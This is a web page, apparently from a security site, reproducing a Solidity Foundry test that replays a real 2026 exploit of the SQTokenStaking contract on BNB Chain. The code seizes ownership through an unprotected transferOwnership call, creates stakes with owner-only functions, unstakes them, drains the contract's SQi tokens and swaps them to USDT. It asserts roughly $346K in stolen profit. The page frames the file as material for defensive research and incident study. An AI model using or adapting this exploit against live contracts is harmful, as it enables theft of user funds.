Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/SQTokenStaking_exp.sol

Public reproduction file for dataset entry SQTokenStaking.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/SQTokenStaking_exp.sol135 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6import {VmSafe} from "forge-std/Vm.sol";
7import {IERC20} from "forge-std/interfaces/IERC20.sol";
8// @KeyInfo - Total Lost : ~$346.1K
9// Attacker : https://bscscan.com/address/0xE746c9043Aa0106853c5e4380A9A307Fe385378e
10// Attack Contract : https://bscscan.com/address/0x0ECADd99B6A2f5b18a9e05c29074471A5970dd0D
11// Vulnerable Contract : https://bscscan.com/address/0x404404A845FFF0201f3a4D419B4839fC419c99F7
12// Attack Tx : https://bscscan.com/tx/0x1bae633eda9b3d98999ea116bc403712eaa07093ec32bd6d559085cc4607f5b8
13//
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x404404A845FFF0201f3a4D419B4839fC419c99F7#code
16//
17// @Analysis
18// Post-mortem : N/A
19// Twitter Guy : https://x.com/Defi_Nerd_sec/status/2054425936746148148
21contract SQTokenStakingTest is Test {
22 bytes32 internal constant TX_HASH = 0x1bae633eda9b3d98999ea116bc403712eaa07093ec32bd6d559085cc4607f5b8;
23 address internal constant ATTACKER = 0xE746c9043Aa0106853c5e4380A9A307Fe385378e;
24 address internal constant EXPLOIT_IMPLEMENTATION = 0x0ECADd99B6A2f5b18a9e05c29074471A5970dd0D;
25 ISQTokenStaking internal constant STAKING = ISQTokenStaking(0x404404A845FFF0201f3a4D419B4839fC419c99F7);
26 IERC20 internal constant SQI = IERC20(0xC7D2FAb3E1f81f3c8FB1669a2f9dff647eaEA3E9);
27 IERC20 internal constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
28 IPancakeV2Router internal constant PANCAKE_ROUTER = IPancakeV2Router(0x10ED43C718714eb63d5aA57B78B54704E256024E);
30 function setUp() public {
31 vm.createSelectFork("bsc", TX_HASH);
32 vm.etch(EXPLOIT_IMPLEMENTATION, address(new SQTokenStakingExploit()).code);
33 vm.label(ATTACKER, "Attacker");
34 vm.label(EXPLOIT_IMPLEMENTATION, "EIP-7702 Exploit Implementation");
35 vm.label(address(STAKING), "SQ Token Staking");
36 vm.label(address(SQI), "SQi");
37 vm.label(address(USDT), "USDT");
38 vm.label(address(PANCAKE_ROUTER), "Pancake V2 Router");
39 }
41 function testExploit() public {
42 uint256 beforeUsdt = USDT.balanceOf(ATTACKER);
44 vm.setNonce(ATTACKER, 7);
45 vm.attachDelegation(
46 VmSafe.SignedDelegation({
47 v: 1,
48 r: 0x4914ffc82849065530e73907a8a64a10db847e8f939e22a84500326a4cec11f2,
49 s: 0x412037db5dcb2c0bcac631442936105e04f355d1ab5293ea7581e898bdbad72c,
50 nonce: 7,
51 implementation: EXPLOIT_IMPLEMENTATION
52 })
53 );
54 vm.prank(ATTACKER, ATTACKER);
55 SQTokenStakingExploit(ATTACKER).attack();
57 uint256 usdtProfit = USDT.balanceOf(ATTACKER) - beforeUsdt;
58 assertEq(usdtProfit, 346_137_034_345_014_454_603_094);
60 console.log("Stolen USDT", usdtProfit);
61 }
64contract SQTokenStakingExploit {
65 address internal constant REFERRAL = 0x36E11a943ce5227CD31BB5F9eFe03d3De30c1a6B;
66 address internal constant USDT = 0x55d398326f99059fF775485246999027B3197955;
67 ISQTokenStaking internal constant STAKING = ISQTokenStaking(0x404404A845FFF0201f3a4D419B4839fC419c99F7);
68 IERC20 internal constant SQI = IERC20(0xC7D2FAb3E1f81f3c8FB1669a2f9dff647eaEA3E9);
69 IPancakeV2Router internal constant PANCAKE_ROUTER = IPancakeV2Router(0x10ED43C718714eb63d5aA57B78B54704E256024E);
71 function attack() external {
72 address attacker = address(this);
74 STAKING.transferOwnership(attacker);
75 require(SQI.approve(address(PANCAKE_ROUTER), type(uint256).max), "SQi approve failed");
76 STAKING.bind(REFERRAL);
78 uint256[] memory stakeDays = new uint256[](1);
79 stakeDays[0] = 0;
80 STAKING.setUintArray(1, stakeDays);
82 STAKING.stakeOwner(attacker, 90_000 ether, 1_760_134_760);
83 STAKING.stakeOwner(attacker, 90_000 ether, 1_760_134_760);
84 STAKING.stakeOwner(attacker, 70_000 ether, 1_760_134_760);
85 STAKING.stakeOwner(attacker, 55_000 ether, 1_760_134_760);
86 STAKING.stakeOwner(attacker, 42_000 ether, 1_760_134_760);
87 STAKING.stakeOwner(attacker, 14_000 ether, 1_760_134_760);
88 STAKING.stakeOwner(attacker, 9_000 ether, 1_760_134_760);
89 STAKING.stakeOwner(attacker, 7_500 ether, 1_760_134_760);
90 STAKING.stakeOwner(attacker, 4_000 ether, 1_760_134_760);
91 STAKING.stakeOwner(attacker, 3_000 ether, 1_760_134_760);
92 STAKING.stakeOwner(attacker, 2_000 ether, 1_760_134_760);
93 STAKING.stakeOwner(attacker, 100 ether, 1_760_134_760);
95 STAKING.unstake(1);
96 STAKING.unstake(2);
97 STAKING.unstake(3);
98 STAKING.unstake(4);
99 STAKING.unstake(5);
100 STAKING.unstake(6);
101 STAKING.unstake(7);
102 STAKING.unstake(8);
103 STAKING.unstake(9);
104 STAKING.unstake(10);
106 uint256 sqiInStaking = SQI.balanceOf(address(STAKING));
107 STAKING.withdrawalTokens(address(SQI), attacker, sqiInStaking);
109 address[] memory path = new address[](2);
110 path[0] = address(SQI);
111 path[1] = USDT;
112 PANCAKE_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
113 SQI.balanceOf(attacker), 0, path, attacker, block.timestamp + 300
114 );
115 }
118interface ISQTokenStaking {
119 function transferOwnership(address newOwner) external;
120 function bind(address referral) external;
121 function setUintArray(uint8 valueType, uint256[] calldata values) external;
122 function stakeOwner(address user, uint160 amount, uint40 stakeTime) external;
123 function unstake(uint256 index) external returns (uint256);
124 function withdrawalTokens(address token, address recipient, uint256 amount) external;
127interface IPancakeV2Router {
128 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
129 uint256 amountIn,
130 uint256 amountOutMin,
131 address[] calldata path,
132 address to,
133 uint256 deadline
134 ) external;

Analysis

Dataset entry

Public Foundry test for “SQTokenStaking” (2026-05-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/Vm.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xe746c9043aa0106853c5e4380a9a307fe385378e

  • Attack Contract

    0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d

  • Vulnerable Contract

    0x404404a845fff0201f3a4d419b4839fc419c99f7

  • Attack Tx

    0x1bae633eda9b3d98999ea116bc403712eaa07093ec32bd6d559085cc4607f5b8

File record

Name
SQTokenStaking
Path
src/test/2026-05/SQTokenStaking_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
0b9657a7ab4ab1e22675c16dcaf2af6029ac3aad
Language
Solidity
Size
136 lines
Date
2026-05-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/SQTokenStaking_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0b9657a7ab4ab1e22675c16dcaf2af6029ac3aad, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.